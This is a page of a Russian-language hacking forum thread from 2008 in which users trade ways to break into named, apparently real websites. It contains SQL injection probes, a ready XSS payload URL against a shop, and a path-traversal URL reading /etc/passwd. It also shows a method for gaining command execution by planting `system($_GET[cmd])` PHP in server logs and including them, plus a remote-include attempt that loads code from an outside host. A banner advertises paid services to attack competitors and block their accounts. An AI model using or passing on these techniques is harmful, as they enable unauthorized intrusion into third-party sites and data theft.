Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 71 из 2438

Опции темы

Поиск в этой теме

Опции просмотра

#701

15.01.2008, 09:35

KIR@PRO

Постоянный

Регистрация: 26.12.2007

Сообщений: 354

С нами: 9671366

Репутация: 332

Помогите вот с этим :

MySQL error : You have an error in your SQL syntax near ''A variable type check failed, expecting G/INT for \"s\" : 20\' - /index.php?zh=' at line 1

URL: http://www.nu-44.ru/index.php?zh=topics&s=20'

и что можно получить из этого по максимуму.... тока не ломайте его он мне нужен рабочим плизззз

#702

15.01.2008, 09:46

~~it's my~~

Banned

Регистрация: 29.09.2007

Сообщений: 512

С нами: 9798146

Репутация: 1224

там фильтрация стоит навряд-ли, что можно сделать

#703

15.01.2008, 12:54

KIR@PRO

Постоянный

Регистрация: 26.12.2007

Сообщений: 354

С нами: 9671366

Репутация: 332

Хорошо а тогда что мона с этим сделать???
_http://shop.winm.ru/index.php?productID=262'

ошибка:

Цитата:

You have an error in your SQL syntax near ''262''' at line 1 SQL query : SELECT categoryID FROM SS_products WHERE productID='262''

Последний раз редактировалось KIR@PRO; 17.01.2008 в 02:58..

#704

15.01.2008, 12:57

~~it's my~~

Banned

Регистрация: 29.09.2007

Сообщений: 512

С нами: 9798146

Репутация: 1224

на тебе XSS'ку

Код:

http://shop.winm.ru/index.php?searchstring=%22%3E%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%3Cp+aling%22&x=0&y=0

#705

15.01.2008, 16:46

KIR@PRO

Постоянный

Регистрация: 26.12.2007

Сообщений: 354

С нами: 9671366

Репутация: 332

На кой мне XSS я их итак тама сотними понаходил..... я же сказал мне надо сделать sql-inject

#706

15.01.2008, 16:49

KIR@PRO

Постоянный

Регистрация: 26.12.2007

Сообщений: 354

С нами: 9671366

Репутация: 332

Цитата:

Сообщение от it's my

на тебе XSS'ку

Код:

http://shop.winm.ru/index.php?searchstring=%22%3E%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%3Cp+aling%22&x=0&y=0

темболее это именна та которую самой первой нашел после 5 минут на сайте.... я ж написал подскажите проявите себя нужна sql-инъекция

#707

15.01.2008, 22:20

tusman

Познающий

Регистрация: 02.06.2007

Сообщений: 39

С нами: 9970148

Репутация: 15

Народ как использовать данные уязвимости -
http://www.planeta.ua/fc/template.php?filename=../../../../../../../../../../../../../../../../../etc/passwd
Если можно то по подробней пожалуйста !
Спасибо !

#708

15.01.2008, 23:32

+toxa+

[Лишённый самовыражени

Регистрация: 16.01.2005

Сообщений: 1,787

С нами: 11217866

Репутация: 3812

Отправить сообщение для +toxa+ с помощью AIM

там кодес типа

PHP код:


		
			
...

include($_GET['filename']);

...

посему те надо наследить в логах (например с юзер-агентом <? system($_GET[cmd]);?> ) и потом их проинклудить

удалённый инклуд не катит ибо так настроен сервер
http://www.planeta.ua/fc/template.php?filename=http://toxa.nov.ru/z.txt

__________________

#709

16.01.2008, 00:56

tusman

Познающий

Регистрация: 02.06.2007

Сообщений: 39

С нами: 9970148

Репутация: 15

Цитата:

посему те надо наследить в логах (например с юзер-агентом <? system($_GET[cmd]);?> ) и потом их проинклудить

можно по подробней пожалуйста ! или где об этом можно почитать ?

#710

16.01.2008, 13:33

noneim

Новичок

Регистрация: 28.11.2007

Сообщений: 5

С нами: 9712206

Репутация: 0

Код:

http://www.2016usgirlsjunior.org/questions/faqs/handicap_answer.asp?FAQidx=15'+GROUP+BY+1--

Вот эта инъёкция какая то странная... никак не могу врубится, почему не работают union, group by, и т.п., хотя через ; запросы выполняются

Страница 71 из 2438

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)

Быстрый переход